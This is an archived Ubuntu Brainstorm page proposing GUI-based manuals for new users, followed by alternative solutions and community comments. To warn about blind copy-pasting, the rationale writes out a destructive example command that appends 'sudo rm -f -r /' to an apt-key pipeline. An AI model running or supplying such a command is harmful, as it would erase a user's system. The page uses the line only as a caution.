Ubuntu QA:
BlogBrainstormPackage status
Log in
Ubuntu QA
The Ubuntu community has contributed 21986 ideas, 135057 comments, 2615221 votes
Idea sandbox Idea sandbox
Popular ideas Popular ideas
Ideas in development Ideas in development
Implemented ideas Implemented ideas
Idea #1819: Manuals and tutorials witha GUI-Driven Approach for Newbies.

bug This idea was marked as being not considered for implementation the 25 September 11.
Written by Sal Zeta the 29 Feb 08 at 21:03. Category: Others. Related project: Nothing/Others. Status: Won't implement
Rationale
Despite much of the configuration and managment of Ubuntu can be done trough the GNOME applications and utilities, the bulk of Documentation for Ubuntu usually suggests the use of the command line.

For example, the usual approach to describe the installation an application shown on the Community Wiki is to open a terminal and type "sudo apt-get install _package_ " instead of suggesting the use of synaptic. At the same time, the addition of a repository is usually described trough a cryptic ( for a non-technical user) pipe sequence, such as:

https://help.ubuntu.com/community/Wine

Where the suggested solution to add the wine repository key is

"wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -"

follewed by a series of commands to reload the apt cache, instead of using the "Package Manager" Applet.

While this could be considered a faster solution for an advanced user, it is just opaque and devoid of any actual explanation for a new user, without considering the risk of malicious commands that could be put on such lines, that would be copied and pasted without actually being understood, such as:


"wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add - | sudo rm -f -r /"

notice that the after inserting the password for the first "sudo", it actually does not ask it anymore when executing "rm -f -r /".

A series of guidelines could be instated for the wiki, by defining the use of GUI programs for configuring and installing programs on Ubuntu, and suggesting such approach to external developers as the "preferred explanation" to install a deb file on Ubuntu.






Tags: (none)

1320
votes
closed
Solution #1: Auto-generated solution of idea #1819
Written by Sal Zeta the 29 Feb 08 at 21:03.
Ubuntu Brainstorm was updated in January 2009. Since the idea #1819 was submitted before this update, its rationale and solution are not separated. Please vote accordingly, and if you have the necessary rights, please separate the rationale from the solution. Thanks!
9
votes
closed
Solution #2: Tutorial Package for New Users
Written by jamesisin the 5 Apr 09 at 20:36.
I participated in a thread here concerning improving the installer.

Now, I like the idea of introducing new features in a slideshow or video, especially to new recruits. However, I do not think the installer is the right place for that.

I would recommend a special package (which could later be uninstalled or updated) which had a selection of tutorials, slideshows, and videos to introduce users to features and important histories (encompassing suggestions 2, 6, 7, 8, 14, 16, 17, 18, & 22 from http://brainstorm.ubuntu.com/idea/18564/ ).

It could even have a tutorial on how updates work (and which defines the three update icons) which actually walked the user through their first update (encompassing suggestion 20 from the other thread).
11
votes
closed
Solution #3: "Start Here" icon on desktop
Written by Clorox the 23 Jun 09 at 03:58.
OpenSolaris implements this: an icon on the desktop that loads a window with nothing inside it but some pretty HTML. In it are some important introductory things such as "Install programs with the _Package Manager_," with "Package Manager" being a link that starts up the package manager when clicked. There could be more things in this window such as "Migrating from Windows? Read _this section_ of the help files." Of course, this is just a concept, it should really say something more friendly.

This is simple, visible, and unobtrusive, and easily deletable for the user who already knows their way around.
0
votes
closed
Solution #4: Tooltips, telling about new features and ability to turn them off
Written by mackuz the 2 May 12 at 11:01.
Think I saw it in Google Chrome: tooltip appears and tells me about new option.
Tooltips can appear once or thrice for example, telling newbie that he can press ALT key to launch HUD and when HUD appears for the first time tooltip says what to do.
This option even can give us a chance to get Dodge Windows option back :) When Launcher disappears for the first time, tooltip appears and tells us what happend and what to do with it.

And of course there must be a possibility to turn theese tooltips off for those who hates them.

Propose your solution

Attachments
No attachments.


Duplicates


Comments
josephcmiller2 wrote on the 29 Feb 08 at 21:09
I wonder can an Ubuntu package be created with an install script which adds a repository to the list? That would make it easy to manage which repositories have been added as well as make it as easy as downloading and installing a package for adding a repository.

Lee wrote on the 29 Feb 08 at 21:44
It's a more reliable solution. Users can cut and paste more readily than they can successfully read and translate lots of steps about where to click, etc. Trust me, I've done telephone and email support for a living ;)

Sal Zeta wrote on the 29 Feb 08 at 22:43
@Lee:

Well , my idea was about _educating_ users about their system, than just giving a set of instructions :P


steve196 wrote on the 24 Mar 08 at 15:33
If you know exactly, what you want, the command line is much faster. Besides the commands can be copied and pasted.

YannUbuntu wrote on the 31 Mar 08 at 13:35
+1 and I would give more if I could !

Of course the command line is faster when you know how to use it, but this is just NOT user-friendly!

I am a newby and I nearly returned on XP just for that... Hopefully my studies include informatics, but I can imagine the reaction of someone who has just learnt to click like my parents, brothers, friends, etc...

And this also prevents Ubuntu from being spread in poor countries.

Let's make Ubuntu for "Human beings" !!!


Another idea to improve Documentation:

http://brainstorm.ubuntu.com/idea/5832/

Mirtz wrote on the 19 Apr 08 at 18:50
I can certainly see that it would be nice and user-friendly.

If you are familiar with shell//scripts command line is much quicker and more simple for most tasks.

-> Most users with good linux knowledge are probably pretty familiar with the command line.

-> If you are familiar with a specific set of tools ... you probably dont want to recomend another set of tools .....

I am sorry about it.
A good idea but it will probably be hard to get any support for it .....

I hope I am wrong, but I dont expect anything ...
(Good and easy to use wiki site might help but I dont expect it to be enough .... )

Mirtz wrote on the 19 Apr 08 at 18:58

Wiki is very nice and would certainly help...

Btw for new users I would recomend http://www.apturl.net/
as an alternative method to installing


+/- 0


cheesehead (Brainstorm admin) wrote on the 25 Sep 11 at 02:00
Manuals and tutorials are mostly community-contributed.
Quite a bit of coordination and work is also done by the volunteers of the Ubuntu Documentation team.
If you want GUI-oriented documentation, then please contribute it, and help train volunteer documenters to create it.


Post your comment